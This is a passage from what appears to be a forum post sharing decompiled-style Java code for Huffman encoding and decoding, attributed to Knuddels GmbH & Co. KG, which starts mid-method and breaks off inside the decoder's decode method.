&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; char c1 = str.charAt(j1);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Integer integer1 = (Integer) hashtable.get(b(c1));<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (integer1 != null) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i1 = j1 + 1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; integer = integer1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; hashtable = (Hashtable) hashtable.get(c(c1));<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (hashtable == null) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; j1++;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } while (true);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; j1 = i1;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (integer == null) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; a(a);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; a(0x10000000 + str.charAt(j1 - 1));<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; a(integer.intValue());<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; b();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; byte abyte1[] = new byte[h];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.arraycopy(f, 0, abyte1, 0, h);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; d += h;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (size &gt; 0) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; f = abyte0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return abyte1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; private final void a(String s) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int k = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int l = s.length();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int i1 = 1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int j1 = -33;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; boolean flag = false;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; boolean flag1 = false;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int l1;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (; k &lt; l; k += l1 + 1) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; char c1 = s.charAt(k);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int k1;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (c1 == '\377') {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; l1 = s.charAt(k + 1) + 1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; k1 = s.charAt(k + 2);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; k += 2;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; l1 = c1 / 21 + 1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; k1 = c1 % 21;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ((i1 &amp; 1) == 0) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i1++;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (; j1 &lt; k1; j1++) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i1 &lt;&lt;= 1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while ((i1 &amp; 1) == 1)&nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i1 &gt;&gt;= 1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; j1--;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i1++;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (; j1 &lt; k1; j1++) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i1 &lt;&lt;= 1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Integer integer = new Integer(a(i1, k1) + (k1 &lt;&lt; 24));<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String s1 = s.substring(k + 1, k + l1 + 1);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (b == 0 &amp;&amp; k1 &gt; 8) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; b = a(i1 &gt;&gt; k1 - 8, 8) + 0x8000000;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (l1 == 3 &amp;&amp; s1.equals(&quot;\\\\\\&quot;)) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; a = integer.intValue();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; a(s1, integer);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; private final void a() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i = new Character[256];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; j = new Short[256];<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (int k = 0; k &lt; i.length; k++) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i[k] = new Character((char) k);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; j[k] = new Short((short) k);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; private final void a(String s, Object obj) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; a(c, s, 0, obj);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; private final void a(Hashtable hashtable, String s, int k, Object obj) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; char c1 = s.charAt(k);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (k + 1 &gt;= s.length()) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (hashtable.get(b(c1)) != null) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; throw new RuntimeException((new StringBuilder()).append(&quot;ERROR while constructing tree &quot;).append(s).toString());<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; hashtable.put(b(c1), obj);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Hashtable hashtable1 = (Hashtable) hashtable.get(c(c1));<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (hashtable1 == null) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; hashtable1 = new Hashtable(1, 1.0F);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; hashtable.put(c(c1), hashtable1);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; a(hashtable1, s, k + 1, obj);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; private final Character b(int k) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; k &amp;= 0xffff;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return k &gt;= 256 ? new Character((char) k) : i[k];<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; private final Short c(int k) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; k &amp;= 0xffff;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return k &gt;= 256 ? new Short((short) k) : j[k];<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; private final void b() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int k = h;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (g != 0) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while (k == h) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; a(b);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
}</code><hr />
</div><b>HuffmanDecoder.java</b><br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">import java.util.Hashtable;<br />
<br />
/**<br />
&nbsp;*<br />
&nbsp;* @author Knuddels GmbH &amp; Co. KG<br />
&nbsp;*/<br />
public class HuffmanDecoder {<br />
&nbsp; &nbsp; &nbsp; &nbsp; private Object a;<br />
&nbsp; &nbsp; &nbsp; &nbsp; private Object b[];<br />
&nbsp; &nbsp; &nbsp; &nbsp; private long c;<br />
&nbsp; &nbsp; &nbsp; &nbsp; private long d;<br />
&nbsp; &nbsp; &nbsp; &nbsp; private boolean e;<br />
&nbsp; &nbsp; &nbsp; &nbsp; private byte f[];<br />
&nbsp; &nbsp; &nbsp; &nbsp; private int g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; private int h;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; public HuffmanDecoder(String tree) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; h = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c = 0L;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; d = 0L;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; b = new Object[2];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; a(b, tree);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; private final void a(Object aobj[], String s) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int i = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int j = s.length();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int k = 1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int l = -33;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; boolean flag = false;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; boolean flag1 = false;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int j1;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (; i &lt; j; i += j1 + 1) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; char c1 = s.charAt(i);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int i1;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (c1 == '\377') {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; j1 = s.charAt(i + 1) + 1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i1 = s.charAt(i + 2);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i += 2;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; j1 = c1 / 21 + 1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i1 = c1 % 21;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ((k &amp; 1) == 0) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; k++;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (; l &lt; i1; l++) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; k &lt;&lt;= 1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while ((k &amp; 1) == 1) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; k &gt;&gt;= 1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; l--;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; k++;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (; l &lt; i1; l++) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; k &lt;&lt;= 1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int k1 = a(k, i1);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String s1 = s.substring(i + 1, i + j1 + 1);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (j1 == 3 &amp;&amp; s1.equals(&quot;\\\\\\&quot;)) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; a = s1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; a(aobj, s1, k1, i1);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; public synchronized String decode(byte[] buffer) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (buffer == null) {<br />
